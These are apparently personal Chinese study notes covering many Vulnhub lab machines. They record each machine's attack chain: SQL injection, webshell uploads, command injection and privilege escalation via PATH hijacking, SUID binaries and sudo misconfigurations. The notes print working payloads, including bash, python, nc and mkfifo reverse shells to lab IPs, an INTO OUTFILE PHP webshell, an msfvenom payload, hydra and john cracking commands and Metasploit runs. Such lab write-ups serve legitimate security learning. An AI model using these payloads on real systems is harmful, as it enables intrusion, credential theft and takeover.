https://www.cnblogs.com/jason-huawen/archive/2022/11.html
有一堆靶机writeup
https://www.jianshu.com/p/5b73a607e2ea 有反弹shell的代码
关于查不到ip文章
Ubuntu20.04,debian重置root密码/忘记密码/密码重置/linux - 知乎 (zhihu.com)debian切换换密码
vulnhub靶机检测不到IP地址解决办法_练靶机的时候靶机没ip怎么办-CSDN博客
解决虚拟机不分配ip问题
解决Vulnhub靶机IP分配问题-腾讯云开发者社区-腾讯云
进入Linux实例的单用户模式_云服务器 ECS(ECS)-阿里云帮助中心 进入单用户
ubuntu20.04无法自动分配IP问题 - 代码先锋网 (codeleading.com)
.重启网卡服务 /etc/init.d/networking restart这个成功过一次,gpt的都无
nullbyte(4种sql注入,history查看历史命令,利用软链接提权)
打靶思路:常规操作后,扫出目录phpadmin和upload 没思路了 web页面是一个图片加一句话 先file读一下看具体信息然后使用exiftools工具查看这个文件的创建时间、权限、内容等源数据信息,重点关注隐写了哪些信息,看到有一串字符串(可以使用strings命令或者直接用010editer等工具直接查看到)尝试了一下密码登入ssh,phpadmin都不行,看看是不是目录,是的有一个有key的界面,先想爆破试试
hydra 10.10.10.139 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l bossfrank -P /usr/share/wordlists/rockyou.txt
(使用hydra脚本爆破,由于是post请求,参数要添加http-form-post,用两个^包围要暴力破解的插值,并写上排除的字段invalid key(即出现哪些字符表示失败,这个是这个靶机页面当你输入错的key时出现的)。由于hydra脚本强制要求添加一个-l参数表示login登录账号,我们这里随便填写一个即可
hydra破解http的表单)破解出来了elite,登入
进入尝试出''闭合sql,查看源码发现420search.php这个后端文件有交互,除此之外也看不出啥了
红队的4种方法1.手工联合注入得到密码后ssh连接一下(记得改端口)
"order by 3 -- -
" union select database(),@@version,user() -- -
" union select table_schema, 2, 3 from information_schema.tables -- -
" union select table_name,2,3 from information_schema.tables where table_schema = "seth" -- -
" union select column_name,2,3 from information_schema.columns where table_schema = "seth" and table_name = "users" -- -
" union select id, user, pass from users -- -
echo 'YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE' | base64 -d
解出来一个md5再解一次omega,ssh登录ramses账号
ssh ramses@10.10.10.139 -p 777
2.SQL注入写入一句话木马,前提secure_file_priv参数要为空,而且要知道写入文件位置的绝对路径
正常可以先试再看原因,在爆破的时候看到了upload的目录可以试试
" union select "<?php system($_GET['a']); ?>", 2, 3 into outfile "/var/www/html/uploads/shell.php" -- -
curl http://10.10.10.139/uploads/shell.php?a=cat%20/var/www/html/kzMb5nVYJw/420search.php
得到密码登录phpadmin然后select * from "user"看到ssh密钥
3.SQL注入写入反弹shell
" union select "<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.128/1234 0>&1'\"); ?>", 2, 3 into outfile "/var/www/html/uploads/reverse.php" -- -
4.sqlmap梭哈
sqlmap -u 'http://10.10.10.139/kzMb5nVYJw/420search.php?usrtosearch=' --dump
也不用按照数据库、表、列、字段慢慢爆,干脆直接--dump看所有结果:
提权
常规的sudo -l 没显示 定时任务啥也没有 看一下history 可以发现运行了/var/www/backup/procwatch,那么我们也尝试进入这个目录,查看procwatch这个文件是干啥的:cd /var/www/backup ls -liah ,运行一下procwatch,看看发生了什么发现貌似还执行了两个命令,sh可能与shell相关,ps可能与进程相关。此时我们的提权思路就是将提权的代码写入procwatch的相关文件中
ln -s /bin/sh ps 首先建立一个软连接,将ps链接到/bin/sh
export PATH=.:$PATH 然后我们修改环境变量,将当前目录.追加到环境变量的最开始
此时运行procwatch即可提权成功
把proc的信息都删掉
FourAndSix2(nfs渗透,john破解转换为hash文件的.7z和rsa,doas中的less+vi提权)
常规nmap操作,可发现操作系统是OpenBSD,同时UDP扫描显示2049的UDP端口也开放(nfs)
nfs渗透
nfs全称为Network File Share网络共享文件模式,开启这个服务的系统可以指定某个目录作为nfs的服务地址,作为共享文件夹。我们可以首先使用showmount工具查看靶机是否有共享文件夹:showmount -e 10.10.10.143 可以看到共享目是/home/user/storage同时(everyone)表明任何人都可使用此共享目录。因此我们可以创建一个目录tmp,尝试能否将这个共享的目录/home/user/storage映射到我们创建的目录:
mkdir tmp mount -t nfs 10.10.10.143:/home/user/storage tmp
(mount用于挂载目录,-t是type的意思,指定为nfs共享文件模式)
只要进入tmp目录应该就能看到靶机/home/user/storage目录的内容
拿到backup.7z后把这个文件复制到上级目录(避免在挂载目录处理留下痕迹)
7z压缩包的密码破解
7z解压 7z x backup.7z
解压要密码,没有密码,报错出里面的内容
用john爆破由于john爆破只能针对hash文件,因此我们先用7z2john生成7z压缩包的哈希,名称为backup7z_hash
红队打靶:FourAndSix2.01打靶思路详解(vulnhub)_fourandsix2靶场-CSDN博客
这里有将7z2john转换hash出现错误的解决办法
sudo apt update sudo apt install libcompress-raw-lzma-perl
然后删掉错误生成的backup7z_hash,再次运行7z2john backup.7z > backup7z_hash应该就不会有报错了。查询结束。
生成7z的hash后,使用字典rockyou.txt进行压缩包的密码暴力破解,指定形式为7z格式:
john --format=7z --wordlist=/usr/share/wordlists/rockyou.txt backup7z_hash
--format=7z
参数指定了要使用的哈希格式。具体来说,这个参数告诉 John the Ripper 工具使用 7-Zip 压缩文件的哈希格式进行破解。
得到密码进去了,先查看图片
遇到文件 可以先file看一下啥类型binwalk 看文件有什么捆绑
遇到图片 可以先file看一下啥类型binwalk(binwalk hello) 看文件有什么捆绑 用exiftool看有没有隐写,里面有id_rsa和id_rsa.pub
cat一下id_rsa和.pub,,,,确实是openssh的私钥,直接尝试用私钥登录user用户要密码,就是私钥被加密了,与破解压缩包的思路类似,先将私钥生成john对应的hash文件,这里命名为id_rsa_hash:
ssh2john id_rsa > id_rsa_hash
john id_rsa_hash --wordlist=/usr/share/wordlists/rockyou.txt 得到密码再次连接
ssh -i id_rsa user@xx.xx.xx.xx
这边的提权是less+vi提权
find / -perm -u=s -type f 2>/dev/null 发现有doas指令类似于sudo,即以高权限运行指令需要添加的命令。由于doas指令是具有s位的,因此使用doas可以以高权限运行指令。我们要查找的就是有哪些指令可以免密doas运行(即类似于ubuntu/debian的Linux运行sudo -l 后有哪些免密sudo的指令),这就需要查找doas的配置信息了。我们直接用find搜索doas的相关文件: find / -name doas* -type f 2>/dev/null
发现一个doas.conf 查看一下,这个文件告诉我们,less和authlog指令是可以用doas免密以root权限运行的!那我们就运行试试:
doas /usr/bin/less /var/log/authlog 运行发现再用less读取authlog:
提权就是利用less中的vi
narak(webdav,tftp渗透,brainfuck语言,motd提权)
常规操作nmap
有80就爆破gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://10.10.10.144可以发现有一个/webdav,那我们浏览器访问这个目录,发现需要认证,看来很可能这里就是个突破口。其它的目录没什么用
加扩展名爆破试试,发现了tips.txt,提示我们通往narak的门的线索可以在creds.txt找到,直接访问creds.txt是不行
gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x zip,rar,txt,sql,php,html -u http://10.10.10.144
之前扫描扫描udp的时候有个tftp
###这是一个简单文件传输协议,用来在客户端和服务端进行文件传输,这个协议设计的时候是进行小文件传输的。因此它不具备通常的FTP的许多功能,它只能从文件服务器上获得或写入文件,不能列出目录)
tftp 10.10.10.144
get creds.txt 我们输入quit退出tftp
cat一下creds.txt 貌似是个base64编码,我们解码一下:
cat creds.txt | base64 -d
yamdoot:Swarg
成功拿到了凭据,这很可能是最初webdav目录的访问凭据!
回到webdav页面:输入用户名yamdoot,密码Swarg进入页面
#####webdav是一个基于HTTP1.1的通信新协议,允许客户端发布、锁定和管理 Web 上的资源,那么我们现在就是企图获取webdav的权限,据此拿到初始shell。
有一个工具davtest,可以测试通过webdav能上传哪些后缀文件以及其对应权限:
davtest -url http://10.10.10.144/webdav -auth yamdoot:Swarg
发现是可以执行php文件的,因此我们可以尝试上传php类型的反弹shell
然后再利用一个客户端。把shell.php上传,此处使用的webdav客户端是cadaver:
cadaver http://10.10.10.144/webdav 输入用户名和密码(yamdoot:Swarg) put shell.php
回到浏览器,可以看到我们上传的shell,那个DavTestDir_是我们刚刚用testdav工具尝试上传的目录:
监听后就可以提权了
find / -writable -type f -not -path "/proc/" -not -path "/sys/" -not -path "/var/*" 2>/dev/null
寻找可写文件 这些搜索排除那些路径下的
发现了一个可编辑的bash脚本hell.sh,还有一个users.password,除此之外还有一些update-motd.d下的文件,查看这个user.password
查看hell.sh
--[----->+<]>---.+++++.+.+++++++++++.--.+++[->+++<]>++.++++++.--[--->+<]>--.-----.++++.
这是名为brainfuck的编程语言
beef hell.bf 看一下是密码应该 chitragupt
查看/etc/passwd,寻找哪些账户有shell环境:
ssh inferno@10.10.10.144
find / -writable -type f -not -path "/proc/" -not -path "/sys/" -not -path "/var/*" 2>/dev/null
然后有一些motd的字眼,重点关注,进入/etc/update-motd.d/
然后ls -lahi 发现有一个00-header
MOTD(Message of the Day)是Linux系统登录时显示的一段信息,我们要重点关注00-header,这是linux在登录时会运行的显示欢迎信息的脚本,可以发现这个就脚本的所有者和所在组都是root,且此时inferno用户拥有对该文件的写权限,因此我们只要在这个文件中添加反弹shell的代码,当该脚本执行时即可触发反弹shell,我们先查看一下这个文档: echo "bash -c 'bash -i >& /dev/tcp/10.10.10.128/4444 0>&1'" >> 00-header
由 webdav 功能引发的 RCE-腾讯云开发者社区-腾讯云 这是一篇webdav的渗透(用bp)
Metasploitable/Apache/DAV - charlesreid1
Mercury(**路劲报错信息泄露,sql注入,联想linuxmaster用户,vi软连接tail提权,sudo利用的--preserve-env=PATH拒绝还原源环境)
常规烧苗有个8080端口 目录扫描它 后访问:http://192.168.9.80:8080/robots.txt
什么都没有,这边没思路了,在网址上随便输入一个文件,出现报错发现了一个新的目录:mercuryfacts/,访问,点击连接跳转页面,看到返回的页面,有id什么的,猜测有sql注入,加个'直接报错, sqlmap一把梭哈
sqlmap -r 11.txt --dbs sqlmap -r 11.txt -D mercury --tables sqlmap -r 11.txt -D mercury --dump
或则sqlmap -u http://10.10.10.6:8080/mercuryfacts/1 --dbms mysql -D mercury --dump
手工
union select database() union select group_concat(table_name) from information_schema.tables where table_schema='mercury'. union select group_concat(column_name) from information_schema.columns where table_schema='mercury' and table_name='users' union all select group_concat(username,0x3a,password) from mercury.users
ssh只有webmaster可以用,查看home目录有个linuxmaster用户可能是root权限
提权时
先看webmaster的目录ls-a 进入mercury_proj目录找到了一个notes.txt文本 有个linuxmaster的密码(base64解码)
su linuxmaster
用软连接将vi装到tail里面
sudo -l 有个 .sh文件 ls -l 发现只有root权限才可以写入
cat一下 发现有个tail -n 10 /var/log.syslog
ln -s /bin/vi tail
export PATH=.:$PATH
echo $PATH
sudo --preserve-env=PATH /usr/bin/check_syslog.sh
--preserve-env=PATH 这个是因为前面要设置环境变量
成功启动了一个vi :!bash
cd /tmp
touch tail
echo '/bin/bash' > tail
chmod 777 tail
export PATH=/tmp:$PATH
sudo运行时默认会启用env_reset选项将从命令行设置的环境变量复原,因此通常情况下,当使用 sudo 命令时,通过本地修改环境变量也没法替换目标文件来进行提权但如果sudo在配置时为用户设置了SETENV选项,情况就不一样了。SETENV会允许用户禁用env_reset选项,允许sudo使用当前用户命令行中设置的环境变量
指定使用当前环境变量 PATH
sudo --preserve-env=PATH /usr/bin/check_syslog.sh
nyx(敏感信息泄露密钥,gcc提权)
基础操作
在脚本扫描发现可疑目录http://192.168.1.137/d41d8cd98f00b204e9800998ecf8427e.php 有个key 是个私钥文件(在网页框上是mpampis key,可能是它的)
touch id_rsa gedit id_rsa
ssh -i id_rsa mpampis@192.168.1.137
sudo -l
gcc提权
sar(sarhtml命令执行漏洞)
扫描目录发现robots.txt,有个提示sarhtml
访问http://192.168.119.174/sar2HTML
发现这个页面可以上传文件,尝试上传一个一句话木马。但是找不到文件在哪
用谷歌查一下该程序的上传目录,或者在github寻找该程序的源码。192.168.110.131/sar2HTML/sarDATA/uPLOAD/php-reverse-shell.php这是文件上传后的路径
找到漏洞 这是命令执行漏洞 URLIP/sar2HTML/index.php?plot=;cat /etc/passwd
http://192.168.119.174/index.php?plot=;nc -e /bin/bash 192.168.119.130 4443
反弹没有成功,可能是靶机的nc禁用了-e参数,可以尝试一下另一种方法:
http://192.168.119.174/sar2HTML/index.php?plot=;python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.119.130",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.du
注意靶机上只安装了python3,所以用python来执行命令不会成功。
直接用sar2HTML命令执行漏洞也可以了,有个py脚本可以用
在网站根目录下ls -la
看到两个.sh文件,cat一下发现finally.sh
里的内容就是执行write.sh
文件,而write.sh
文件的作用就是创建一个文件 /tmp/gateway
。由此想到了计划任务提权,查看一下 定时任务的配置文件/etc/crontab
。
connect(摩斯密码,fuck脚本,断电文件,一个是tar可以读取root的flag,一个是polkit提权)
Connect-The-Dots靶场_阿凯6666的博客-CSDN博客
ssh,ftp,nfs都失败了 扫目录来到一个页面里面有一些css文件等的页面
有个cs文件很可疑里面的东西以下网址解密 jsfuck脚本(将前面的变量全删了还有“)
JSFuck - Write any JavaScript with 6 Characters: []()!+
CoderTab - JSUnFuck - Decode JSFuck Here
解密后得到norris的密码
然后ssh登入后枚举信息进一步渗透,
ls一下有个ftp ,进入,枚举有一些.bak文件想把他们下载下来
ftp登入下载文件ftp目录下的文件 (先prompt然后面不用一直确定,然后mget .)
本地exiftool查看game.jpg.bak 里面有摩斯码,解密后有一个断电的消息和一个secretefile里面有信息可以访问
来到机器,find / -name secretfile 2>/dev/null
cat一下这这个文件,说自己快没电了
来到网站的html下 ls -laih下有一个.secretfile.swp ,下载下来看看(swp文件:是编辑器突然断电或 Ctrl+z 产生的文件)
wget http://192.168.16.160/.secretfile.swp
.swap是交互信息,vim非正常退出会有sawp
vim -h 查一下-r是recover crashed file
vim读.swap文件 得到密码(或则strings .secretfile.swp直接读了)
cat /etc/passwd | grep bash 看有哪些用户 su切换morris
用它提权试试
/sbin/getcap -r / 2>/dev/null后(用于递归地检查和列出根文件系统(“/”)中的文件和目录的文件功能。)
要记一下tar后面的这串,这是可读可搜索可执行的权限
发现 tar具备cap_dac_read_search=ep 可用执行root来读取文件。
这个方法可以看tar
tar -zcvf root.tar.gz /root 打包root目录
ls
mv root.tat.gz root.tar.gz
tar -zxvf root.tar.gz
ls
cd root
cat root
提权 find找suid权限
ls -laih
用polkit( 操作文件需要权限它helper会给你一个界面,它有suid全面,看如何可以调用helper就可以提权 )
systemd-run(临时启用高权限的东西,,-t是伪终端 只要找一个调用hellp的伪终端就可以)
system-run -t /bin/bash
/home/xxxx目录下的一般可以尝试用户
hydra 穷举 ssh
用户名 morris norris hydra -L user -p TryToGuessThisNorris@2k19 ssh://192.168.1.103 -s 7822
为啥下载不了,感觉因该是因为文件不在网站/var/www目录下所以不可以,登入ftp试试
TryToGuessThisNorris@2k19
me-and-mygirlfrind(x-forword-for本地访问,越权漏洞)
不知道为啥扫不到,但是是有分配ip的
10.4.29.132
查看这个页面源码提示我们可以通过x-forwarded-for伪装成本地访问
常规操作没发现,发现有一段语句要你用x-forwarded-for而且是本地,用bp的设置,然后在登入就可以出现新页面,直接注册一下,改一下id发现用户名换了,越权漏洞会暴露其它用户的信息,但是密码是***,查看源码看密码是明文不,是的,(或则按F12审查元素,找到password的input标签,将type从"password"改为"text",就可以看到密码了)枚举ssh,成功登入,提权sudo -l 看到php直接提权了
proxy >>options>>match and replace 增加一条规则 x-forwarded-for:localhost 用bp自带的游览器登入就可以了
提权简单就php就可以了
my_file_server1(本地制作密钥上传,这台靶机有内核提权的试错思路)
80页面的 的readme.txt得到密码
ftp先匿名登入无可用文件
smbmap爆破用户名 有个smbuser用户名,利用登入22但是没成功
sudo smbclient //192.168.xx.xx/smbdata 连接共享目录,只有smbdata可以匿名访问
看smbdata有什么内容
看 sshd_config() 可以把上面的一些铭感文件都下载下来,查看文件
这一段代码表示只允许登入密钥 直接本地建立密钥对然后ftp上传公钥
-
通过运行 ssh-keygen 创建 ssh 密钥对。
-
在挂载的共享 /home/smbuser/.ssh 上创建 .ssh 目录
-
将公钥内容复制到/home/smbuser/.ssh。
-
SSH 到 smbuser@victim_ip!
ssh-keygen -t rsa 创建公私钥对
借助上面列举的凭据“ smbuser:rootroot1 ”,我们登录到 FTP 并在 /home/smbuser 中创建一个名为 .ssh 的文件夹,然后尝试将我们在上述步骤中生成的 id_rsa.pub 作为authorized_keys 上传到.ssh 目录。
ftp 192.168.2.5 pwd mkdir .ssh cd .ssh put /root/.ssh/.id_rsa.pub authorized_keys exit
authorized_keys
文件是SSH(Secure Shell)协议用于身份验证的一部分。在SSH中,authorized_keys
文件包含了一组被授权的公钥,用于验证远程用户的身份。
当你使用SSH密钥对进行身份验证时,你会在服务器上的用户家目录下找到 ~/.ssh/
目录。在这个目录中,authorized_keys
文件存储了所有被授权访问该用户账户的公钥。
每个公钥占据该文件的一行。当你尝试通过SSH连接到服务器时,服务器会检查你提供的私钥是否与 authorized_keys
文件中的任何公钥匹配。如果匹配成功,你就被允许访问服务器。
ssh -i id_rsa smbuser@192.168.2.5
进ftp 记得输入binary
这个是完善clear的环境变量 export TERM=term-color
提权
正常的脏牛提权是需要筛选的没呢么简单
不知道脏牛直接搜索内核漏洞3.10的
searchsploit kernel 3.10
筛选可疑提权的
searchsploit kernel 3.10 Privilege Escalation
以下是踩坑的
下载
vim看以下怎么使用
使用
没有rootshell无法使用
放弃
再试一个33516 放弃也缺东西
当这样时可以网上查,也可以用linpeas看用哪个
得筛选
40616
Broken(xxd将16进制转换2进制,timedatectl提权)
纯属傻逼这么简单做了我快两小时 真傻逼我
第一个是16进制解码
使用 xxd 将十六进制文件恢复为其等效的二进制文件。-p 告诉 xxd 它是一个没有行号的普通十六进制文件。 $ xxd -r -p README.md > README.bin 然后使用 file 命令查看 README.bin 是什么样的文件。 $ file README.bin 它告诉你它是一个 jpeg。 使用您最喜欢的图像查看器打开。直接把改后缀为jpg就可,然后打开(cp)
提权,我弄了好多,瞎试了一堆,一开始sudo -l 就有timedatectl了,那东西我不熟
sudo timedatectl list-timezones ,下次遇到这种不熟的感觉有戏的直接上网查,
dpwwn1
这台靶机快
扫到mysql服务,直接空密码登入
show database;
use ssh;
show tables;
查到ssh账号密码 登入成功
提权用crontab提权
也可爆破mysql
hydra -l root -P ./rockyou.txt 192.168.229.143 mysql -f -e nsr
可以用fscan烧苗以下
.\fscan64.exe -h xx.xx.xx.xx
west-wild-v1.1(找可写文件是发现文件信息泄露)
提权
find / -writable -type f ! -path '/proc/*' 2>/dev/null
哎,提权的时候没想到find找可写文件当时一直执着于上传文件
ctf(base64多次解密,命令执行反弹shell)
扫到目录,进去有段加密
提示有命令注入
直接cmd(这是感觉是这个参数)=nc反弹到kali(先ping了以下)
cmd=nc 192.168.44.143 6666 -e/bin/bash
网站
mhz(scp下载文件,图片查看,)
Vulnhub之Mhz_c1f靶机详细测试过程 - Jason_huawen - 博客园 (cnblogs.com)
sudo scp a@xx.xx.xx.xx:/home/mhz_clf/paintings/* ./paintings
用ssh的scp下载 目录到本地的paintings下
xdg-open Russian\beauty.jepg
可以看图片
steghide info Russian\beauty.jepg
这个工具可以看隐写
sudo steghide extract -sf spinning\the\wool.jpeg
-sf
: 这是steghide
命令的选项,用于指定要提取数据的载体文件
这个提取隐写的文件
提权
EVM
这个是一个枚举工具 enum4linux -A 192.168,xx,xx
枚举出来的东西啥插件啊端口服务啊。可疑的可以直接用searchsploit找一下有没有漏洞
这个是前期扫描发现是wordpress然后wpsacn -eu是枚举用户
wpscan --url http://xx.xx.xx.xx/wordpress/ -eu
cewl可以提取web页面的信息来制作密码本
-p是指定密码 没扫到,用大字典,rockyou
搜索一下邮件服务的漏洞,然后利用一下
这个不行
看一下vim 25297
wpscan就枚举出了密码,然后登入一下有个登入页面的
放个马子
Victim01_042220(802.11
(无线网协议,nohup提权))
一开始常规扫描,都没什么发现
进入web看的页面是一段字,基本无可渗透的地方,看了前面爆破出的.txt文件里面有个类似账号密码的东西ssh没进去,然后爆破一下也不行,然后txt文件有个关于joomla的,就去查,其实感觉也不太可能,那个页面太捡漏了,浪费了些时间,没试出来,感觉不知道咋打了,看了一下答案,要基础有端口要记得去访问一下,然后看8999端口,有个.cap的文件值得怀疑,下载看看,发现是802.11`(无线网协议),上面的ssid像账号,
aircrack-ng -w /usr/share/wordlists/rockyou.txt WPA-01.cap 破解一下密码,登入ssh,先sudo -l 发现dlink用户可以无需密码执行/usr/bin/TryHarder!,但是无这个文件,思路是可以创建一个,但没权限,看crontab,有个定时任务,可是也没有,然后找suid文件,有个nohup
查找nohup /bin/sh -p -c "sh -p <$(tty) >$(tty) 2>$(tty)",成功提权
Typhoon
这台靶机的漏洞很多,在看目录时有个Disallow: /mongoadmin/这个信息当时没想着当目录访问,错过了信息,redis想用未授权,但是软件下载不了(得去排查一下,不过这台靶机的redis是不行的),mysql空登入不行,没想到postgresql的漏洞,看答案才知道的,然后是nfs不行,一直执着于lotus cms 还有个drupal cms没想到
Disallow: /mongoadmin/
点击change database出现creds 点击creds,会发现一个账号密码
一文了解 Redis 未授权访问漏洞-腾讯云开发者社区-腾讯云 (tencent.com)这是redis的
ssh用户枚举漏洞进行测试
可以用cewl制作字典 cewl http://192.168.44.142/ -w user.txt
searchsploit ssh
40136.py
python 40136.py 192.168.44.142 -U user.txt
端口(smtp)
在测试时没有测试成功
nc 192.168.56.150 25
nfs
msf> use auxiliary/scanner/nfs/nfsmount
show option
set rhosts 靶机ip
exploit
5432端口(postgresql)
use auxiliary/scanner/postgres/postgres_login set rhosts 192.168.56.150 exploit
得到账号密码
登录数据库
psql -h 192.168.56.150 -U postgres
列下目录
select pg_ls_dir('./');
读取权限允许的文件
select pg_read_file('postgresql.conf',0,1000);
建表,并使用copy从文件写入数据到表
DROP TABLE if EXISTS MrLee;` `CREATE TABLE MrLee(t TEXT);` `COPY MrLee FROM '/etc/passwd';` `SELECT * FROM MrLee limit 1 offset 0;
SELECT * FROM MrLee;
这个记得按q退出select才能执行以下命令
利用数据库写文件
INSERT INTO MrLee(t) VALUES ('hello,MrLee');
COPY MrLee(t) TO '/tmp/MrLee';
SELECT * FROM MrLee;
会显示里面有一句hello,MrLee 如上可见,文件可以成功写入,并成功读取到源内容。
接下来就可以利用 “大对象” 数据写入法
SELECT lo_create(6666);
delete from pg_largeobject where loid=6666;
接下来向”大对象”数据写入数据(木马),使用hex:
在写数据之前,先生成一个木马
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.56.1 LPORT=6666 R > /Desktop/shell.php
打开这个shell.php复制转换成16进制
insert into pg_largeobject (loid,pageno,data) values(6666, 0, decode('.....', 'hex'));
导出数据到指定文件:
SELECT lo_export(6666, '/var/www/html/shell.php');
//默认导出到安装根目录 也可以带路径自由目录写shell
先msf开启监听,然后http://192.168.56.150/shell.php
6379端口(redis)
redis-cli安装
wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
cd redis-stable make //全局生效 cp src/redis-cli /usr/bin/
redis-cli -h 192.168.56.150
这个漏洞有三种方法利用 1.利用redis写webshell 2.利用”公私钥”认证获取root权限 3.利用crontab反弹shell 这三种方法都能可以,但就是利用不了,在这个点我弄了很多遍,决定放弃但在最后发现我写的文件都存在靶机里,原因是那些文件都没有更高的执行权限,所以导致都导致利用不了。
https://www.cnblogs.com/bmjoker/p/9548962.html
Lotus CMS
use exploit/multi/http/lcms_php_exec
set rhost 靶机ip
set uri /cms/
exploit
Drupal CMS
use exploit/unix/webapp/drupal_drupalgeddon2
set rhost 靶机ip
set targeturi /drupal
exploit
tomca(8080)
使用Metasploits Tomcat Manager的默认用户名tomcat和默认密码tomcat登录到tomcat管理后台。 也可以用msf的multi/http/tomcat_mgr_login
msf6 exploit(multi/http/tomcat_mgr_upload) > set rhost 192.168.44.142 rhost => 192.168.44.142 msf6 exploit(multi/http/tomcat_mgr_upload) > set rport 8080 rport => 8080 msf6 exploit(multi/http/tomcat_mgr_upload) > set httppassword tomcat httppassword => tomcat msf6 exploit(multi/http/tomcat_mgr_upload) > set httpusername tomcat httpusername => tomcat msf6 exploit(multi/http/tomcat_mgr_upload) > run
info 查看漏洞信息
bulldog(敏感信息目录泄露,命令执行漏洞)
扫描目录在/dev下点击web-shell进入一个页面,有一堆邮箱密码啥的
解密密码
爆破得到 邮箱账户:nick 密码:bulldog 邮箱账户:sarah 密码:bulldoglover
登入admin页面,再去点击web-shell来到一个有命令执行漏洞的页面
ls & echo "bash -i >& /dev/tcp/192.168.75.128/9966 0>&1" | bash
终结一下,没打完,最后那个命令执行的&绕过过不去,不知道是不是自己反弹shell的问题
提权稍微看了一下还算简单
文章中的思路可以借鉴一下虽然没成功,可以将本地编译py脚本 ls&wget上传脚本 执行脚本ls & wget http://192.168.75.128:8080/shell.py
pwd & php shell.py
import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.commect(("192.168.75.128",9988)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/bash","-i"])
blackrouse(php strcmp绕过,aes加密,rot47加密,提权,简单waf绕过)
[+] SHA-256 22 80 3306 [+] Haval-256
<input type="hidden" id="logcsrf" value="907af4e9ba33887c0b2d14e3d4ac771463b53ed7efffb3b66f85aefd3fae4e87">
3.1 PHP strcmp()函数
int strcmp( string $str1 , string $str2 ),用来比较两个字符串的值,
参数 str1第一个字符串。
str2第二个字符串。如果 str1 小于 str2 返回 0;如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
当传入的值不符合期望的类型就会报错,在php5.3以前,在报错信息显示后,将return 0,这也就导致了漏洞的产生。
后面的版本中修复了这个漏洞,使得报错的时候函数不返回任何值。
找有执行权限的
find / -type f -user delx
Bcrypt Encrypt - Bcrypt Hash Generator - Online - Browserling Web Developer Tools
ida解密
AES encryption aes解密网站
gqSFGqAJ
JqT/3t/ucYLw/dlb6c5PzmQM9lRYjuRIPgCmcHP+RTE= 这是aes加密
s)M8Z=7|8/&YY-zK5L$.w3Su'Q@nGR,rot47加密
c DX|g+lfMg^U**\Kzd{S]Hb$FV"o?v#
知识点
遇到登入框(passwd[]=1绕过)
登录绕过(逻辑问题,语言特性),sql注入(万能密码),弱口令(爆破),二次注入,注册覆盖,未授权访问(目录扫描)
签名加密(签名的加密方式bcrypt)
一般辨认加密有hash-identifier 和jojn破解hash文件看是什么加密
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.22 1234 >/tmp/f使用这串反弹shell的代码在bcrypt ”中生成一个哈希值,然后再前端代码中改成它的key值,然后输入反弹shell的代码就反弹了
一般有key的话就是对称加密算法,常见的对称加密算法有DES、3DES、Blowfish、IDEA、RC4、RC5、RC6 和 AES。
提权
sudo-l
发现了delx用户有动态链接库文件ld.so,执行sudo -u delx /bin/ld.so /bin/bash,想获取delx权限(还有一个切换delx的方法是在它的目录下发现了ssh密钥可以读,然后vim到本机转换成hash文件,用john破解就可以了)
切换用户后执行find / -type f -user delx 2>/dev/null
showpasswd是一个执行文件,但实际上执行后会显示一条消息。遇到这种情况就要分析代码了。使用scp命令将该文件传到本机
scp ./showPassword kali@192.168.44,143:/home/kali/
简单分析后得到了gqSFGqAJ字符串。然而这个时候并不知道这个字符串有什么用途,又到了脑洞时间。
在文件还有一长串字符串没有用到,猜测是需要使用字符串当key去解。就是上面绿框的东西,然后是aes加密
可以得到一个字符串:RkZiPVkvxykJVOmxBmitBPeJXqFuxM
在与所有 3 位用户测试此密钥后,它对他们中的任何一个都不起作用,,这里有一个点,就是首页背景图片中也隐藏了信息,需要用上面的key进行解密。
sudo steghide extract -sf /home/kali/background-image.jpg
查看内容为:s)M8Z=7|8/&YY-zK5L$.w3Su'Q@nGR,
经过各种可能的方法,我们最终解密为“ ROT47 ”。
解密出来是:DX|g+lfMg^U**\Kzd{S]Hb$FV"o?v#。
使用该密码登入yourname这个用户,获取第一个文件。
依旧先使用sudo -l命令查看相关命令执行权限,发现blackrose这个命令,执行后发现还是无法读取root文件。sudo blackrose(sudo -u root /usr/bin/blackrose)
它可以读文件,看起来是存在了某种限制,经过一番搜索后,发现可以使用PHP后缀文件。
写一个php文件<?php system('/bin/bash'); ?> 但是不行,提示有危险函数
利用
<?php sy.(st).em('/bin/bash'); ?>绕过
总结
首先还是常规扫描,有22,80,3306,3306未授权不行,目录烧苗没什么有价值的,web页面是一个登入框,常规登入绕过(登入绕过呀,sql注入呀,弱口令呀,注册覆盖呀,未授权访问(目录扫描)),不行,注册一个没什么用,权限不够,试一下admin的,得到密码错误,确认admin账号,bp抓包,利用passwd[]=1绕过(Login Bypass | HackTricks | HackTricks),来到一个页面,可以输入命令,限制是只能whoami,识别一下上面的密文,hash-identifier不行,用join -wordlist=/xx/xx /home/hash 识别出事bcrypt,(Bcrypt Encrypt - Bcrypt Hash Generator - Online - Browserling Web Developer Tools )对反弹shell命令加密,然后改掉原来页面的whoami加密代码,kali监听,执行命令
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.22 1234 >/tmp/f
得到用户www-data权限,sudo -l 发现(delx : delx)BOPASSWD: /bin/ld.so
直接 sudo -u delx /bin/ld.so /bin/sh 提权
find /-type f -user delx(让我们浏览有权访问用户“ delx ”的文件)
发现/usr/local/.../showpassword 直接执行需要密码
strings 看一下有一段密文
JqT/3t/ucYLw/dlb6c5PzmQM9lRYjuRIPgCmcHP+RTE= 这是aes加密
将文件放到吾爱里面逆向得到密码gqSFGqAJ
再次执行文件输入密码,可以,确认了密码是正确的
